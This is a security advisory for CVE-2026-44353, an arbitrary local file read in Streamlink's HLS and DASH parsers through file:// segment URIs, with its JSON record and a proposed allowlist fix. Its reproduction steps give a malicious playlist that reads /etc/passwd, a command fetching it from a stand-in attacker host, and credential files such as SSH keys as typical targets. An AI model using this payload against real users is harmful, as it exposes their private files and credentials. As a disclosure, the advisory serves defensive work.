GHSA-HGQW-6M45-HW5F
Vulnerability from github – Published: 2026-05-11 14:28 – Updated: 2026-06-08 23:49Summary
Streamlink's HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote .m3u8 HLS playlist or .mpd DASH manifest can list file:///path/to/file as a segment, and streamlink will read that local file and write its contents to the output stream.
Confirmed on streamlink 8.3.0 (latest release at time of report).
Description
Segment URIs from an HLS playlist or DASH manifest are passed to the worker without any scheme check. The underlying HTTP session accepts file:// URIs, which resolve against the local filesystem. There is no scheme allowlist at the parser level, so any path readable by the streamlink process is treated as a valid segment.
The attacker does not need local access to the victim. A playlist/manifest hosted on an attacker-controlled server, fetched by streamlink on the victim's machine, is enough to trigger the read.
Impact
A remote attacker hosting a malicious playlist/manifest can make any client running streamlink against that URL read arbitrary local files within the streamlink process's read scope and write them into the output file.
Reachable files depend on the user running streamlink. Typical targets: ~/.ssh/id_* private keys, ~/.aws/credentials, shell history, application config files holding API tokens, and world-readable system files like /etc/passwd.
Affected scenarios
- Server-side or automated deployments (recording bots, media pipelines, CI jobs processing playlists). The output file is often uploaded, logged, or otherwise exposed, which gives direct disclosure to attacker-reachable locations.
- Interactive desktop use. File contents land on the victim's disk and can leak through secondary channels: the user sharing the recording, cloud sync, backup, etc.
This bug does not on its own send file contents back to the attacker. The disclosure goes to the output sink. Full exfiltration depends on what happens to that file afterward.
Steps to reproduce
Tested on streamlink 8.3.0, Linux (Kali).
-
Save as
playlist.m3u8:```m3u
EXTM3U
EXT-X-VERSION:3
EXT-X-TARGETDURATION:5
EXT-X-PLAYLIST-TYPE:VOD
EXTINF:5.0,
file:///etc/passwd
EXT-X-ENDLIST
```
-
Host the playlist on a remote server reachable by the victim. For testing, a VPS, a tunnel (cloudflared, ngrok), or a static host like GitHub Pages all work.
-
On the victim machine:
sh streamlink "hls://https://attacker-host.example/playlist.m3u8" best -o /tmp/proof.ts -
Inspect the output:
sh cat /tmp/proof.ts -
The output contains the contents of
/etc/passwdfrom the machine running streamlink.
Local reproduction (equivalent, simpler to set up):
python3 -m http.server 8080 # in directory containing playlist.m3u8
streamlink "hls://http://127.0.0.1:8080/playlist.m3u8" best -o /tmp/proof.ts
cat /tmp/proof.ts
The remote case was confirmed independently using a tunnel.
Proposed remediation
Allowlist http and https for segment URIs in the HLS parser. Reject any other scheme (file, ftp, data, etc.) at parse time, before the URI reaches the fetcher.
The check needs to cover:
- Segment URIs in the top-level manifest.
- Segment URIs in nested manifests pulled during playback (variant playlists referenced from a master playlist).
- Other URI fields the fetcher consumes —
#EXT-X-KEYand#EXT-X-MAPURIs at minimum. Worth auditing the rest for the same issue.
The check belongs in the parser, not the fetcher. Putting it next to the untrusted input means downstream callers don't each need to re-implement it, and any future fetcher path inherits the protection by default.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.3.0"
},
"package": {
"ecosystem": "PyPI",
"name": "streamlink"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44353"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:28:30Z",
"nvd_published_at": "2026-05-27T17:16:38Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nStreamlink\u0027s HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote `.m3u8` HLS playlist or `.mpd` DASH manifest can list `file:///path/to/file` as a segment, and streamlink will read that local file and write its contents to the output stream.\n\nConfirmed on streamlink 8.3.0 (latest release at time of report).\n\n## Description\n\nSegment URIs from an HLS playlist or DASH manifest are passed to the worker without any scheme check. The underlying HTTP session accepts `file://` URIs, which resolve against the local filesystem. There is no scheme allowlist at the parser level, so any path readable by the streamlink process is treated as a valid segment.\n\nThe attacker does not need local access to the victim. A playlist/manifest hosted on an attacker-controlled server, fetched by streamlink on the victim\u0027s machine, is enough to trigger the read.\n\n## Impact\n\nA remote attacker hosting a malicious playlist/manifest can make any client running streamlink against that URL read arbitrary local files within the streamlink process\u0027s read scope and write them into the output file.\n\nReachable files depend on the user running streamlink. Typical targets: `~/.ssh/id_*` private keys, `~/.aws/credentials`, shell history, application config files holding API tokens, and world-readable system files like `/etc/passwd`.\n\n### Affected scenarios\n\n- Server-side or automated deployments (recording bots, media pipelines, CI jobs processing playlists). The output file is often uploaded, logged, or otherwise exposed, which gives direct disclosure to attacker-reachable locations.\n- Interactive desktop use. File contents land on the victim\u0027s disk and can leak through secondary channels: the user sharing the recording, cloud sync, backup, etc.\n\nThis bug does not on its own send file contents back to the attacker. The disclosure goes to the output sink. Full exfiltration depends on what happens to that file afterward.\n\n## Steps to reproduce\n\nTested on streamlink 8.3.0, Linux (Kali).\n\n1. Save as `playlist.m3u8`:\n\n ```m3u\n #EXTM3U\n #EXT-X-VERSION:3\n #EXT-X-TARGETDURATION:5\n #EXT-X-PLAYLIST-TYPE:VOD\n #EXTINF:5.0,\n file:///etc/passwd\n #EXT-X-ENDLIST\n ```\n\n2. Host the playlist on a remote server reachable by the victim. For testing, a VPS, a tunnel (cloudflared, ngrok), or a static host like GitHub Pages all work.\n\n3. On the victim machine:\n\n ```sh\n streamlink \"hls://https://attacker-host.example/playlist.m3u8\" best -o /tmp/proof.ts\n ```\n\n3. Inspect the output:\n\n ```sh\n cat /tmp/proof.ts\n ```\n\n4. The output contains the contents of `/etc/passwd` from the machine running streamlink.\n\n### Local reproduction (equivalent, simpler to set up):\n\n```sh\npython3 -m http.server 8080 # in directory containing playlist.m3u8\nstreamlink \"hls://http://127.0.0.1:8080/playlist.m3u8\" best -o /tmp/proof.ts\ncat /tmp/proof.ts\n```\n\nThe remote case was confirmed independently using a tunnel.\n\n## Proposed remediation\n\nAllowlist http and https for segment URIs in the HLS parser. Reject any other scheme (file, ftp, data, etc.) at parse time, before the URI reaches the fetcher.\n\nThe check needs to cover:\n\n- Segment URIs in the top-level manifest.\n- Segment URIs in nested manifests pulled during playback (variant playlists referenced from a master playlist).\n- Other URI fields the fetcher consumes \u2014 `#EXT-X-KEY` and `#EXT-X-MAP` URIs at minimum. Worth auditing the rest for the same issue.\n\nThe check belongs in the parser, not the fetcher. Putting it next to the untrusted input means downstream callers don\u0027t each need to re-implement it, and any future fetcher path inherits the protection by default.",
"id": "GHSA-hgqw-6m45-hw5f",
"modified": "2026-06-08T23:49:42Z",
"published": "2026-05-11T14:28:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/streamlink/streamlink/security/advisories/GHSA-hgqw-6m45-hw5f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44353"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/streamlink/PYSEC-2026-180.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/streamlink/streamlink"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Streamlink has an arbitrary local file read via file:// URI in HLS and DASH"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.